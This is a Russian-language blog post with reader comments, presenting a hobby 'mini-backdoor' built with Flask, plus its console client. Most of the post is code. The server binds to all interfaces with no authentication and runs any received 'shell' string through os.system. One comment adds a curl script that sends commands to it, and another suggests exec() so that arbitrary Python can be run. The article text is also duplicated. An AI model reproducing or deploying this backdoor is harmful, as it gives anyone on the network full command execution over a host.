Привет, Хабр!
Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».
В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:
Итак, первый пункт крайне легко реализовать при помощи модуля webbrowser. Второй пункт я решил реализовать при помощи модуля os. И третий – тоже через модуль os, но я буду использовать «ссылки»(об этом позже).
Написание сервера
Итак, *барабанная дробь* весь код сервера:
Я уже вывалил весь код, пора объяснять суть.
Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.
Структура JSON запроса:
Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.
Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.
Написание клиента
Код:
Объяснения:
Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(логика зашкаливает).
Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети
А сейчас поподробнее о link.
Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).
Структура такая:
Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.
P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.
Недавно я посмотрел скачанную версию стрима по программированию «Как создать свое веб-приложение на Flask». И решил закрепить свои знания в каком-нибудь проекте. Долго не знал, что написать и мне пришла идея: «А почему бы не сделать мини-бэкдор на Flask?».
В голове тут же появились первые варианты реализаций и возможностей бэкдора. Но я решил сразу составить список возможностей бэкдора:
- Уметь открывать сайты
- Иметь доступ к командной строке
- Уметь открывать программы, фото, видео
Итак, первый пункт крайне легко реализовать при помощи модуля webbrowser. Второй пункт я решил реализовать при помощи модуля os. И третий – тоже через модуль os, но я буду использовать «ссылки»(об этом позже).
Написание сервера
Итак, *барабанная дробь* весь код сервера:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Я уже вывалил весь код, пора объяснять суть.
Весь код запускается на локальном компьютере на 5000 порту. Для взаимодействия с сервером мы должны отправлять JSON POST запрос.
Структура JSON запроса:
{‘command’: ‘comecommand’, ‘data’: ‘somedata’}
Ну, логично, что ‘command’ – команда, которую мы хотим выполнить. А ‘data’ – аргументы команды.
Можно писать и отправлять JSON запросы для взаимодействия с сервером ручками(вам в помощь requests). А можно написать консольный клиент.
Написание клиента
Код:
import requests
logo = ['\n\n',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'\n\n']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Комманда не содержит аргументов!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Объяснения:
Первым делом импортируется модуль requests(для взаимодействия с сервером). Дальше описания функций start и test. А дальше цикл в котором происходит волшебство. Читали код? Значит вам ясен смысл волшебства, происходящего в цикле. Вводите команду – она выполняется. Shell – команды для командной строки(
Test – проверка, работает ли сервер(бэкдор)
Link – использование «ярлыка»
Openweb – открытие сайта
Quit – выход из клиента
Set – задание ip вашего компьютера в локальной сети
А сейчас поподробнее о link.
Рядом с сервером лежит файл link.txt. В нём находятся ссылки(полный путь) к файлам(видео, фото, программы).
Структура такая:
полный_путь>описание
полный_путь>описание
Итог
Мы имеем сервер-бэкдор для управления компьютером в локальной сети(внутри wi-fi сети). Технически мы можем запустить клиент с любого устройства, на котором есть интерпретатор python.
P.S. Команду set я добавил для того, чтобы если компьютеру в локальной сети присвоят другой ip, можно было прямо в клиенте его изменить.
Комментарии (2)
hjltu
17.04.2019 21:00#!/bin/bash for i in $@ do DATA=$DATA' '$i done curl -d "{\"command\": \"shell\", \"data\":\"$DATA\"}" -H "Content-Type: application/json" -X POST http://localhost:5000/mycomp
kAIST
Эммм, в чем смысл поста? Показать что веб сервер может не только отдавать странички а делать все что ему дозволено?
P.S. если уж вам нужна компактность, то для Шелла достаточно exec(command) и дальше уже присылай любой код, который питон будем интерпретировать.